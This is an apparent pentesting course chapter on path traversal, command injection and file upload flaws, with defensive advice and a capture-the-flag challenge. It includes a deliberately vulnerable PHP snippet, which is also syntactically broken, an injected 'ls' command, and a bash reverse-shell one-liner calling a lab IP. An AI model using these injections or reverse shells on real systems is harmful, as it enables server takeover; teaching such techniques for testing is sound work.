In this chapter, we’ll be looking at vulnerabilities that allow you to take control of the server’s operating system. These vulnerabilities are generally considered to be important if all they do is read information—and serious if they involve arbitrary code execution.
Manipulate Files on the Server
Let’s start with the vulnerabilities that let us read arbitrary files on the server:
Path Traversal (also known as Directory Traversal)
Local File Inclusion (LFI)
For the purposes of this course, and to keep it simple, we’ll treat these two terms as synonyms for telling the server to display the contents of an arbitrary file stored on it.
What does a Path Traversal vulnerability allow?
This vulnerability allows us to read the contents of an arbitrary file on the server, provided that the account we’re using has sufficient permissions.
This means we can read:
configuration files, which may contain login credentials.
system files, such as the Bash history.
application code, in some cases, to detect other vulnerabilities more easily.
We will only be able to read files that the account running the application has permissions to read. For example, we won’t be able to read the /etc/shadow
file, which contains hashes of local user passwords on a Linux server, unless the web server is running with root access or there’s a major problem with permissions to the shadow file.
So, how does a Path Traversal vulnerability work?
This type of vulnerability can occur when the application calls a page via a parameter and does not have control over the parameter in question.
For example, let’s imagine our example.com
application loads pages as follows:
https://example.com/page=home.php
https://example.com/page=login.php
https://example.com/page=backend.php
In the application directory, there are three files named home.php
, login.php
, and backend.php
, respectively.
What do you think will happen if you try to move up the directory tree or specify the absolute path of a known file?
The application will mindlessly follow the path specified in the parameter. And if you have control over this parameter, you can specify anything you like.
Come on, let me show you how it works on my demo application:
Take Control of the Server Using RCE
Let’s move on to the vulnerabilities that open the door from the web application to the underlying system, which are known as Remote Code Execution (RCE) vulnerabilities.
These vulnerabilities allow us to execute code and commands on the server using the account used by the application, almost as if we had a direct SSH connection to the server.
We can then move on to what’s called post-exploitation, where we can:
retrieve information.
try to elevate privileges on the server.
establish persistence.
bounce from the compromised server onto the internal network.
In most cases, RCE vulnerabilities on an application lead to total compromise of the application, since you can usually modify the source code or access the database from the command line.
The following are types of vulnerabilities in this category:
Command injections.
File upload vulnerabilities.
LFI vulnerabilities like we saw a little earlier, in some cases.
Remote File Inclusion.
I’m going to take you through the first two of these:
Command injections
File upload vulnerabilities, which can be used to obtain reverse shells and web shells (which can then be transformed into reverse shells)
Command Injections
Let’s return to our example.com
application. We’ve identified a debug page. The application developers have built in a feature they can use to ping other systems from the server. This allows them to:
check that their application can contact the other servers it needs to run.
avoid having to keep asking production teams to perform these checks for them.
What could go wrong?
The developers should have used an adapted version of the code provided in the PHP documentation for the exec() function, but unfortunately they didn’t bother to read the whole page and therefore overlooked the warning or failed to act on it.
The code should therefore look like this:
<?php
$output=null;
$retval=null;
$target=$_POST['ip']
exec(ping $target, $output, $retval);
print_r($output);
?>
How do we exploit this debugging feature?
We can behave as if we’re in an SSH shell and need to chain two commands together so that they’re sent on a single line, also known as a one-liner.
There are a number of possibilities for this, such as playing around with the &&
, ||
, or ;
operators.
Let me show you on my demo application, which includes this vulnerability. In our case, if we simply send the command 127.0.0.1; ls
, we obtain the result of the ping and the command we sent.
From here, we can display the contents of the server’s files using Linux commands such as cat
, or we can try to obtain what is known as a reverse shell so that we can interact directly with the target as if we had an SSH connection:
; bash -c 'bash -i >& /dev/tcp/10.37.129.2/8979 0>&1'
How do we prevent this vulnerability from happening?
The best way is to avoid using system calls as much as possible, and it’s always a good idea to read the documentation thoroughly.
File Uploads
To exploit this type of vulnerability, two conditions must both be met. We must be able to:
upload any file we choose.
execute the file or have the application or system execute it.
Almost all file upload features are therefore susceptible to this vulnerability.
How do we detect and exploit this vulnerability?
Detecting it is relatively simple. This is all we need to do:
Upload our chosen file using the file upload feature and see whether the upload is successful.
If it is successful, find a way to access the file so that it can be executed.
For instance, if in our example.com
application, users—both doctors and patients—can upload documents such as prescriptions, it could be an attack vector if there is no security implemented around this feature!
If we detect this vulnerability, our best option would be to install what are known as web shells.
In practice, it’s often a little more complicated than that, especially when it comes to uploading files. There are usually protection mechanisms in place—some of which are simple and some of which are very robust and impossible to defeat.
Among the simple mechanisms that we still occasionally come across are client-side checks on filename extensions, for example. These can quite easily be defeated since the client is us, meaning that we theoretically control the execution environment.
How do we protect ourselves against this?
The best way to protect against this is to accept only the MIME file types we need to support this feature and to perform this check on the server side.
We can also add additional protective measures, including:
performing an antivirus scan on uploaded files.
restricting the environment in which the application is run and where files are uploaded (e.g., by using chroot).
There are probably other measures you could take, depending on the application being tested. Just remember to contextualize your findings and recommendations!
Over to You!
Challenge
The interface should look familiar to you.
Remember what Root Me states:
“The validation password is in the index.php file.”
Good luck!
Solution
You’ll be getting used to this by now! We’re not going to give you a cookie-cutter solution, but everything you need to know is in this chapter.
Let’s Recap!
Managing to take control of a server is usually the pinnacle of a pentester’s assignment, even though it’s quite rare when the scope is limited.
They can achieve this by exploiting a number of vulnerabilities, including command injections and file uploads. But these are not the only ones!
Command injection can occur in the following situations:
The application uses system functions.
The user can manipulate the parameters used as input to these functions.
We obtain a reverse shell after executing the right command.
Exploiting insecure file upload features can occur in the following situations:
The application allows any type of file to be uploaded (including files written in the application’s language).
The application can then execute these uploaded files.
We usually upload web shells as part of a pentest so that we can run commands on the server.
Once we can execute code on a server, the application is typically considered to be compromised, meaning that we can now retrieve login credentials, elevate privileges on the server, and so on.
In the next chapter, we’ll take a closer look at weaknesses in the authentication mechanisms that could allow an attacker to gain access to the application without initially knowing which account to use.